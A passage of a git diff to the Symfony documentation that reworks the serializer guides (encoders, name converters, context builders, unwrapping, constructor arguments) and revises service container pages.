+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        class InvoiceLine
+        {
+            public function __construct(
+                private InvoiceItemInterface $invoiceItem
+            ) {
+                $this->invoiceItem = $invoiceItem;
+            }
+
+            public function getInvoiceItem(): InvoiceItemInterface
+            {
+                return $this->invoiceItem;
+            }
+
+            // ...
+        }
+
+        // ...
+
+        // Configure a loader to retrieve mapping information like DiscriminatorMap.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory);
+        $normalizers = [
+            new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator),
+        ];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $invoiceLine = new InvoiceLine(new Product());
+
+        $jsonString = $serializer->serialize($invoiceLine, 'json');
+        // $jsonString contains {"type":"product",...}
+
+        $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json');
+        // $invoiceLine contains new InvoiceLine(new Product(...))
+
+.. _serializer-unwrapping-denormalizer:
+
+Deserializing Input Partially (Unwrapping)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer will always deserialize the complete input string into PHP
+values. When connecting with third party APIs, you often only need a
+specific part of the returned response.
+
+To avoid deserializing the whole response, you can use the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer`
+and "unwrap" the input data::
 
-It is built on top of the Symfony Framework and its Serializer
-component. It provides custom normalizers and a custom encoder, custom metadata
-and a caching system.
+    $jsonData = '{"result":"success","data":{"person":{"name": "Jane Doe","age":57}}}';
+    $data = $serialiser->deserialize($jsonData, Object::class, [
+        UnwrappingDenormalizer::UNWRAP_PATH => '[data][person]',
+    ]);
+    // $data is Person(name: 'Jane Doe', age: 57)
+
+The ``unwrap_path`` is a :ref:`property path <property-access-reading-arrays>`
+of the PropertyAccess component, applied on the denormalized array.
+
+Handling Constructor Arguments
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If the class constructor defines arguments, as usually happens with
+`Value Objects`_, the serializer will match the parameter names with the
+deserialized attributes. If some parameters are missing, a
+:class:`Symfony\\Component\\Serializer\\Exception\\MissingConstructorArgumentsException`
+is thrown.
+
+In these cases, use the ``default_constructor_arguments`` context option to
+define default values for the missing parameters::
+
+    use App\Model\Person;
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
+
+    $jsonData = '{"age":39,"name":"Jane Doe"}';
+    $person = $serializer->deserialize($jsonData, Person::class, 'json', [
+        AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [
+            Person::class => ['sportsperson' => true],
+        ],
+    ]);
+    // $person is Person(name: 'Jane Doe', age: 39, sportsperson: true);
+
+Recursive Denormalization and Type Safety
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a ``PropertyTypeExtractor`` is available, the normalizer will also
+check that the data to denormalize matches the type of the property (even
+for primitive types). For instance, if a ``string`` is provided, but the
+type of the property is ``int``, an
+:class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException`
+will be thrown. The type enforcement of the properties can be disabled by
+setting the serializer context option
+``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT`` to ``true``.
+
+Handling Boolean Values
+~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 7.1
+
+    The ``AbstractNormalizer::FILTER_BOOL`` context option was introduced in Symfony 7.1.
+
+PHP considers many different values as true or false. For example, the
+strings ``true``, ``1``, and ``yes`` are considered true, while
+``false``, ``0``, and ``no`` are considered false.
+
+When deserializing, the Serializer component can take care of this
+automatically. This can be done by using the ``AbstractNormalizer::FILTER_BOOL``
+context option::
 
-If you want to leverage the full power of the Symfony Serializer component,
-take a look at how this bundle works.
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
+
+    $person = $serializer->denormalize(['sportsperson' => 'yes'], Person::class, context: [
+        AbstractNormalizer::FILTER_BOOL => true
+    ]);
+    // $person contains a Person instance with sportsperson set to true
+
+This context makes the deserialization process behave like the
+:phpfunction:`filter_var` function with the ``FILTER_VALIDATE_BOOL`` flag.
+
+.. _serializer-enabling-metadata-cache:
+
+Configuring the Metadata Cache
+------------------------------
+
+The metadata for the serializer is automatically cached to enhance application
+performance. By default, the serializer uses the ``cache.system`` cache pool
+which is configured using the :ref:`cache.system <reference-cache-system>`
+option.
+
+Going Further with the Serializer
+---------------------------------
 
 .. toctree::
+    :glob:
     :maxdepth: 1
 
-    serializer/custom_encoders
-    serializer/custom_normalizer
-    serializer/custom_context_builders
+    serializer/*
 
+.. _`JMS serializer`: https://github.com/schmittjoh/serializer
 .. _`API Platform`: https://api-platform.com
 .. _`JSON-LD`: https://json-ld.org
 .. _`Hydra Core Vocabulary`: https://www.hydra-cg.com/
@@ -580,3 +2144,10 @@ take a look at how this bundle works.
 .. _`GraphQL`: https://graphql.org
 .. _`JSON:API`: https://jsonapi.org
 .. _`HAL`: https://stateless.group/hal_specification.html
+.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
+.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
+.. _`RFC 3339`: https://tools.ietf.org/html/rfc3339#section-5.8
+.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
+.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
+.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
+.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index a326fcfc2d6..8eeb584d761 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -1,11 +1,9 @@
 How to Create your Custom Context Builder
 =========================================
 
-The :doc:`Serializer Component </components/serializer>` uses Normalizers
-and Encoders to transform any data to any data-structure (e.g. JSON).
-That serialization process can be configured thanks to a
-:ref:`serialization context <serializer_serializer-context>`, which can be built thanks to
-:ref:`context builders <component-serializer-context-builders>`.
+That serialization process of the :doc:`Serializer Component </serializer>`
+can be configured by the :ref:`serialization context <serializer-context>`,
+which can be built thanks to :ref:`context builders <serializer-using-context-builders>`.
 
 Each built-in normalizer/encoder has its related context builder. However, you
 may want to create a custom context builder for your
@@ -29,7 +27,7 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer:
     {
         use DenormalizerAwareTrait;
 
-        public function denormalize($data, string $type, string $format = null, array $context = []): mixed
+        public function denormalize($data, string $type, ?string $format = null, array $context = []): mixed
         {
             if ('0000-00-00' === $data) {
                 return null;
@@ -40,7 +38,7 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer:
             return $this->denormalizer->denormalize($data, $type, $format, $context);
         }
 
-        public function supportsDenormalization($data, string $type, string $format = null, array $context = []): bool
+        public function supportsDenormalization($data, string $type, ?string $format = null, array $context = []): bool
         {
             return true === ($context['zero_datetime_to_null'] ?? false)
                 && is_a($type, \DateTimeInterface::class, true);
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
deleted file mode 100644
index d6cf3a72015..00000000000
--- a/serializer/custom_encoders.rst
+++ /dev/null
@@ -1,61 +0,0 @@
-How to Create your Custom Encoder
-=================================
-
-The :doc:`Serializer Component </components/serializer>` uses Normalizers
-to transform any data to an array. Then, by leveraging *Encoders*, that data can
-be converted into any data-structure (e.g. JSON).
-
-The Component provides several built-in encoders that are described
-:doc:`in the serializer component </components/serializer>` but you may want
-to use another structure that's not supported.
-
-Creating a new encoder
-----------------------
-
-Imagine you want to serialize and deserialize YAML. For that you'll have to
-create your own encoder that uses the
-:doc:`Yaml Component </components/yaml>`::
-
-    // src/Serializer/YamlEncoder.php
-    namespace App\Serializer;
-
-    use Symfony\Component\Serializer\Encoder\DecoderInterface;
-    use Symfony\Component\Serializer\Encoder\EncoderInterface;
-    use Symfony\Component\Yaml\Yaml;
-
-    class YamlEncoder implements EncoderInterface, DecoderInterface
-    {
-        public function encode($data, string $format, array $context = []): string
-        {
-            return Yaml::dump($data);
-        }
-
-        public function supportsEncoding(string $format, array $context = []): bool
-        {
-            return 'yaml' === $format;
-        }
-
-        public function decode(string $data, string $format, array $context = []): array
-        {
-            return Yaml::parse($data);
-        }
-
-        public function supportsDecoding(string $format, array $context = []): bool
-        {
-            return 'yaml' === $format;
-        }
-    }
-
-Registering it in your app
---------------------------
-
-If you use the Symfony Framework. then you probably want to register this encoder
-as a service in your app. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that's done automatically!
-
-.. tip::
-
-    If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
-    to register your class as a service and tag it with ``serializer.encoder``.
-
-Now you'll be able to serialize and deserialize YAML!
diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst
new file mode 100644
index 00000000000..49dafb02cc4
--- /dev/null
+++ b/serializer/custom_name_converter.rst
@@ -0,0 +1,112 @@
+How to Create your Custom Name Converter
+========================================
+
+The Serializer Component uses :ref:`name converters <serializer-name-conversion>`
+to transform the attribute names (e.g. from snake_case in JSON to CamelCase
+for PHP properties).
+
+Imagine you have the following object::
+
+    namespace App\Model;
+
+    class Company
+    {
+        public string $name;
+        public string $address;
+    }
+
+And in the serialized form, all attributes must be prefixed by ``org_`` like
+the following:
+
+.. code-block:: json
+
+    {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
+
+A custom name converter can handle such cases::
+
+    namespace App\Serializer;
+
+    use Symfony\Component\Serializer\NameConverter\NameConverterInterface;
+
+    class OrgPrefixNameConverter implements NameConverterInterface
+    {
+        public function normalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
+        {
+            // during normalization, add the prefix
+            return 'org_'.$propertyName;
+        }
+
+        public function denormalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
+        {
+            // remove the 'org_' prefix on denormalizing
+            return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
+        }
+    }
+
+.. versionadded:: 7.1
+
+    Accessing the current class name, format and context via
+    :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::normalize`
+    and :method:`Symfony\\Component\\Serializer\\NameConverter\\NameConverterInterface::denormalize`
+    was introduced in Symfony 7.1.
+
+.. note::
+
+    You can also implement
+    :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface`
+    to access the current class name, format and context.
+
+Then, configure the serializer to use your name converter:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                # pass the service ID of your name converter
+                name_converter: 'App\Serializer\OrgPrefixNameConverter'
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- pass the service ID of your name converter -->
+                <framework:serializer
+                    name-converter="App\Serializer\OrgPrefixNameConverter"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use App\Serializer\OrgPrefixNameConverter;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->serializer()
+                // pass the service ID of your name converter
+                ->nameConverter(OrgPrefixNameConverter::class)
+            ;
+        };
+
+Now, when using the serializer in the application, all attributes will be
+prefixed by ``org_``::
+
+    // ...
+    $company = new Company('Acme Inc.', '123 Main Street, Big City');
+
+    $json = $serializer->serialize($company, 'json');
+    // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
+    $companyCopy = $serializer->deserialize($json, Company::class, 'json');
+    // Same data as $company
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 636ba70fd37..7435474c05c 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -1,10 +1,11 @@
 How to Create your Custom Normalizer
 ====================================
 
-The :doc:`Serializer component </components/serializer>` uses
-normalizers to transform any data into an array. The component provides several
-:ref:`built-in normalizers <component-serializer-normalizers>` but you may need to create
-your own normalizer to transform an unsupported data structure.
+The :doc:`Serializer component </serializer>` uses normalizers to transform
+any data into an array. The component provides several
+:ref:`built-in normalizers <serializer-built-in-normalizers>` but you may
+need to create your own normalizer to transform an unsupported data
+structure.
 
 Creating a New Normalizer
 -------------------------
@@ -35,7 +36,7 @@ normalization process::
         ) {
         }
 
-        public function normalize($topic, string $format = null, array $context = []): array
+        public function normalize($topic, ?string $format = null, array $context = []): array
         {
             $data = $this->normalizer->normalize($topic, $format, $context);
 
@@ -47,7 +48,7 @@ normalization process::
             return $data;
         }
 
-        public function supportsNormalization($data, string $format = null, array $context = []): bool
+        public function supportsNormalization($data, ?string $format = null, array $context = []): bool
         {
             return $data instanceof Topic;
         }
@@ -68,6 +69,63 @@ a service and :doc:`tagged </service_container/tags>` with ``serializer.normaliz
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is done automatically!
 
+If you're not using ``autoconfigure``, you have to tag the service with
+``serializer.normalizer``. You can also use this method to set a priority
+(higher means it's called earlier in the process):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Serializer\TopicNormalizer:
+                tags:
+                    # register the normalizer with a high priority (called earlier)
+                    - { name: 'serializer.normalizer', priority: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="App\Serializer\TopicNormalizer">
+                    <!-- register the normalizer with a high priority (called earlier) -->
+                    <tag name="serializer.normalizer"
+                        priority="500"
+                    />
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Serializer\TopicNormalizer;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            // if you're using autoconfigure, the tag will be automatically applied
+            $services->set(TopicNormalizer::class)
+                // register the normalizer with a high priority (called earlier)
+                ->tag('serializer.normalizer', [
+                    'priority' => 500,
+                ])
+            ;
+        };
+
 Performance of Normalizers/Denormalizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/serializer/encoders.rst b/serializer/encoders.rst
new file mode 100644
index 00000000000..3cf1ff912a4
--- /dev/null
+++ b/serializer/encoders.rst
@@ -0,0 +1,368 @@
+Serializer Encoders
+===================
+
+The Serializer component provides several built-in encoders:
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
+    This class encodes and decodes data in `JSON`_.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
+    This class encodes and decodes data in `XML`_.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
+    This encoder encodes and decodes data in `YAML`_. This encoder requires the
+    :doc:`Yaml Component </components/yaml>`.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
+    This encoder encodes and decodes data in `CSV`_.
+
+.. note::
+
+    You can also create your own encoder to use another structure. Read more at
+    :ref:`Creating a Custom Encoder <serializer-custom-encoder>` below.
+
+All these encoders are enabled by default when using the Serializer component
+in a Symfony application.
+
+The ``JsonEncoder``
+-------------------
+
+The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP
+:phpfunction:`json_encode` and :phpfunction:`json_decode` functions.
+
+It can be useful to modify how these functions operate in certain instances
+by providing options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use
+the serialization context to pass in these options using the key
+``json_encode_options`` or ``json_decode_options`` respectively::
+
+    $this->serializer->serialize($data, 'json', [
+        'json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION,
+    ]);
+
+All context options available for the JSON encoder are:
+
+``json_decode_associative`` (default: ``false``)
+    If set to ``true`` returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.
+``json_decode_detailed_errors`` (default: ``false``)
+    If set to ``true`` exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.
+``json_decode_options`` (default: ``0``)
+    Flags passed to :phpfunction:`json_decode` function.
+``json_encode_options`` (default: ``\JSON_PRESERVE_ZERO_FRACTION``)
+    Flags passed to :phpfunction:`json_encode` function.
+``json_decode_recursion_depth`` (default: ``512``)
+    Sets maximum recursion depth.
+
+The ``CsvEncoder``
+------------------
+
+The ``CsvEncoder`` encodes to and decodes from CSV. Serveral :ref:`context options <serializer-context>`
+are available to customize the behavior of the encoder:
+
+``csv_delimiter`` (default: ``,``)
+    Sets the field delimiter separating values (one character only).
+``csv_enclosure`` (default: ``"``)
+    Sets the field enclosure (one character only).
+``csv_end_of_line`` (default: ``\n``)
+    Sets the character(s) used to mark the end of each line in the CSV file.
+``csv_escape_char`` (default: empty string)
+    Sets the escape character (at most one character).
+``csv_key_separator`` (default: ``.``)
+    Sets the separator for array's keys during its flattening
+``csv_headers`` (default: ``[]``, inferred from input data's keys)
+    Sets the order of the header and data columns.
+    E.g. if you set it to ``['a', 'b', 'c']`` and serialize
+    ``['c' => 3, 'a' => 1, 'b' => 2]``, the order will be ``a,b,c`` instead
+    of the input order (``c,a,b``).
+``csv_escape_formulas`` (default: ``false``)
+    Escapes fields containing formulas by prepending them with a ``\t`` character.
+``as_collection`` (default: ``true``)
+    Always returns results as a collection, even if only one line is decoded.
+``no_headers`` (default: ``false``)
+    Setting to ``false`` will use first row as headers when denormalizing,
+    ``true`` generates numeric headers.
+``output_utf8_bom`` (default: ``false``)
+    Outputs special `UTF-8 BOM`_ along with encoded data.
+
+The ``XmlEncoder``
+------------------
+
+This encoder transforms PHP values into XML and vice versa.
+
+For example, take an object that is normalized as following::
+
+    $normalizedArray = ['foo' => [1, 2], 'bar' => true];
+
+The ``XmlEncoder`` will encode this object like:
+
+.. code-block:: xml
+
+    <?xml version="1.0" encoding="UTF-8" ?>
+    <response>
+        <foo>1</foo>
+        <foo>2</foo>
+        <bar>1</bar>
+    </response>
+
+The special ``#`` key can be used to define the data of a node::
+
+    ['foo' => ['@bar' => 'value', '#' => 'baz']];
+
+    /* is encoded as follows:
+       <?xml version="1.0"?>
+       <response>
+           <foo bar="value">
+              baz
+           </foo>
+       </response>
+     */
+
+Furthermore, keys beginning with ``@`` will be considered attributes, and
+the key  ``#comment`` can be used for encoding XML comments::
+
+    $encoder = new XmlEncoder();
+    $xml = $encoder->encode([
+        'foo' => ['@bar' => 'value'],
+        'qux' => ['#comment' => 'A comment'],
+    ], 'xml');
+    /* will return:
+       <?xml version="1.0"?>
+       <response>
+           <foo bar="value"/>
+           <qux><!-- A comment --!><qux>
+       </response>
+     */
+
+You can pass the context key ``as_collection`` in order to have the results
+always as a collection.
+
+.. note::
+
+    You may need to add some attributes on the root node::
+
+        $encoder = new XmlEncoder();
+        $encoder->encode([
+            '@attribute1' => 'foo',
+            '@attribute2' => 'bar',
+            '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']]
+        ], 'xml');
+
+        // will return:
+        // <?xml version="1.0"?>
+        // <response attribute1="foo" attribute2="bar">
+        // <foo bar="value">baz</foo>
+        // </response>
+
+.. tip::
+
+    XML comments are ignored by default when decoding contents, but this
+    behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
+
+    Data with ``#comment`` keys are encoded to XML comments by default. This can be
+    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
+    key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
+    directly to the ``$context`` argument of the ``encode()`` method::
+
+        $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
+
+The ``XmlEncoder`` Context Options
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+These are the options available on the :ref:`serializer context <serializer-context>`:
+
+``xml_format_output`` (default: ``false``)
+    If set to true, formats the generated XML with line breaks and indentation.
+``xml_version`` (default: ``1.0``)
+    Sets the XML version attribute.
+``xml_encoding`` (default: ``utf-8``)
+    Sets the XML encoding attribute.
+``xml_standalone`` (default: ``true``)
+    Adds standalone attribute in the generated XML.
+``xml_type_cast_attributes`` (default: ``true``)
+    This provides the ability to forget the attribute type casting.
+``xml_root_node_name`` (default: ``response``)
+    Sets the root node name.
+``as_collection`` (default: ``false``)
+    Always returns results as a collection, even if only one line is decoded.
+``decoder_ignored_node_types`` (default: ``[\XML_PI_NODE, \XML_COMMENT_NODE]``)
+    Array of node types (`DOM XML_* constants`_) to be ignored while decoding.
+``encoder_ignored_node_types`` (default: ``[]``)
+    Array of node types (`DOM XML_* constants`_) to be ignored while encoding.
+``load_options`` (default: ``\LIBXML_NONET | \LIBXML_NOBLANKS``)
+    XML loading `options with libxml`_.
+``save_options`` (default: ``0``)
+    XML saving `options with libxml`_.
+``remove_empty_tags`` (default: ``false``)
+    If set to ``true``, removes all empty tags in the generated XML.
+``cdata_wrapping`` (default: ``true``)
+    If set to ``false``, will not wrap any value containing one of the
+    following characters ( ``<``, ``>``, ``&``) in `a CDATA section`_ like
+    following: ``<![CDATA[...]]>``.
+``cdata_wrapping_pattern`` (default: ````/[<>&]/````)
+    A regular expression pattern to determine if a value should be wrapped
+    in a CDATA section.
+
+.. versionadded:: 7.1
+
+    The ``cdata_wrapping_pattern`` option was introduced in Symfony 7.1.
+
+
+Example with a custom ``context``::
+
+    use Symfony\Component\Serializer\Encoder\XmlEncoder;
+
+    $data = [
+        'id' => 'IDHNQIItNyQ',
+        'date' => '2019-10-24',
+    ];
+
+    $xmlEncoder->encode($data, 'xml', ['xml_format_output' => true]);
+    // outputs:
+    // <?xml version="1.0"?>
+    // <response>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </response>
+
+    $xmlEncoder->encode($data, 'xml', [
+        'xml_format_output' => true,
+        'xml_root_node_name' => 'track',
+        'encoder_ignored_node_types' => [
+            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
+        ],
+    ]);
+    // outputs:
+    // <track>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </track>
+
+The ``YamlEncoder``
+-------------------
+
+This encoder requires the :doc:`Yaml Component </components/yaml>` and
+transforms from and to Yaml.
+
+Like other encoder, several :ref:`context options <serializer-context>` are
+available:
+
+``yaml_inline`` (default: ``0``)
+    The level where you switch to inline YAML.
+``yaml_indent`` (default: ``0``)
+    The level of indentation (used internally).
+``yaml_flags`` (default: ``0``)
+    A bit field of ``Yaml::DUMP_*``/``Yaml::PARSE_*`` constants to
+    customize the encoding/decoding YAML string.
+
+.. _serializer-custom-encoder:
+
+Creating a Custom Encoder
+-------------------------
+
+Imagine you want to serialize and deserialize `NEON`_. For that you'll have to
+create your own encoder::
+
+    // src/Serializer/YamlEncoder.php
+    namespace App\Serializer;
+
+    use Nette\Neon\Neon;
+    use Symfony\Component\Serializer\Encoder\DecoderInterface;
+    use Symfony\Component\Serializer\Encoder\EncoderInterface;
+
+    class NeonEncoder implements EncoderInterface, DecoderInterface
+    {
+        public function encode($data, string $format, array $context = [])
+        {
+            return Neon::encode($data);
+        }
+
+        public function supportsEncoding(string $format)
+        {
+            return 'neon' === $format;
+        }
+
+        public function decode(string $data, string $format, array $context = [])
+        {
+            return Neon::decode($data);
+        }
+
+        public function supportsDecoding(string $format)
+        {
+            return 'neon' === $format;
+        }
+    }
+
+.. tip::
+
+    If you need access to ``$context`` in your ``supportsDecoding`` or
+    ``supportsEncoding`` method, make sure to implement
+    ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface``
+    or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly.
+
+Registering it in Your App
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you use the Symfony Framework, then you probably want to register this encoder
+as a service in your app. If you're using the
+:ref:`default services.yaml configuration <service-container-services-load-example>`,
+that's done automatically!
+
+If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
+to register your class as a service and tag it with
+:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Serializer\NeonEncoder:
+                tags: ['serializer.encoder']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="App\Serializer\NeonEncoder">
+                    <tag name="serializer.encoder"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Serializer\NeonEncoder;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            $services->set(NeonEncoder::class)
+                ->tag('serializer.encoder')
+            ;
+        };
+
+Now you'll be able to serialize and deserialize NEON!
+
+.. _JSON: https://www.json.org/json-en.html
+.. _XML: https://www.w3.org/XML/
+.. _YAML: https://yaml.org/
+.. _CSV: https://tools.ietf.org/html/rfc4180
+.. _seld/jsonlint: https://github.com/Seldaek/jsonlint
+.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark
+.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
+.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
+.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA
+.. _NEON: https://ne-on.org/
diff --git a/service_container.rst b/service_container.rst
index 46cb77550f1..eb2e7fb60ae 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -407,12 +407,11 @@ example, suppose you want to make the admin email configurable:
       class SiteUpdateManager
       {
           // ...
-    +    private string $adminEmail;
 
           public function __construct(
               private MessageGenerator $messageGenerator,
               private MailerInterface $mailer,
-    +        private string $adminEmail
+    +         private string $adminEmail
           ) {
           }
 
@@ -583,7 +582,7 @@ accessor methods for parameters::
     // adds a new parameter
     $container->setParameter('mailer.transport', 'sendmail');
 
-.. caution::
+.. warning::
 
     The used ``.`` notation is a
     :ref:`Symfony convention <service-naming-conventions>` to make parameters
@@ -1035,20 +1034,24 @@ to them.
 Linting Service Definitions
 ---------------------------
 
-The ``lint:container`` command checks that the arguments injected into services
-match their type declarations. It's useful to run it before deploying your
+The ``lint:container`` command performs additional checks to ensure the container
+is properly configured. It is useful to run this command before deploying your
 application to production (e.g. in your continuous integration server):
 
 .. code-block:: terminal
 
     $ php bin/console lint:container
 
-Checking the types of all service arguments whenever the container is compiled
-can hurt performance. That's why this type checking is implemented in a
-:doc:`compiler pass </service_container/compiler_passes>` called
-``CheckTypeDeclarationsPass`` which is disabled by default and enabled only when
-executing the ``lint:container`` command. If you don't mind the performance
-loss, enable the compiler pass in your application.
+Performing those checks whenever the container is compiled can hurt performance.
+That's why they are implemented in :doc:`compiler passes </service_container/compiler_passes>`
+called ``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass``, which are
+disabled by default and enabled only when executing the ``lint:container`` command.
+If you don't mind the performance loss, you can enable these compiler passes in
+your application.
+
+.. versionadded:: 7.1
+
+    The ``CheckAliasValidityPass`` compiler pass was introduced in Symfony 7.1.
 
 .. _container-public:
 
@@ -1111,6 +1114,21 @@ setting:
             ;
         };
 
+It is also possible to define a service as public thanks to the ``#[Autoconfigure]``
+attribute. This attribute must be used directly on the class of the service
+you want to configure::
+
+    // src/Service/PublicService.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+    #[Autoconfigure(public: true)]
+    class PublicService
+    {
+        // ...
+    }
+
 .. _service-psr4-loader:
 
 Importing Many Services at once with resource
@@ -1369,7 +1387,7 @@ and ``site_update_manager.normal_users``. Thanks to the alias, if you type-hint
 If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>`
 or to create a named :ref:`autowiring alias <autowiring-alias>`.
 
-.. caution::
+.. warning::
 
     If you do *not* create the alias and are :ref:`loading all services from src/ <service-container-services-load-example>`,
     then *three* services have been created (the automatic service + your two services)
@@ -1410,7 +1428,7 @@ Let's say you have the following functional interface::
 You also have a service that defines many methods and one of them is the same
 ``format()`` method of the previous interface::
 
-    // src/Service/MessageFormatterInterface.php
+    // src/Service/MessageUtils.php
     namespace App\Service;
 
     class MessageUtils
diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index b74acb99d8e..f99f7cb5f3e 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -62,6 +62,21 @@ You can also control the ``public`` option on a service-by-service basis:
                 ->public();
         };
 
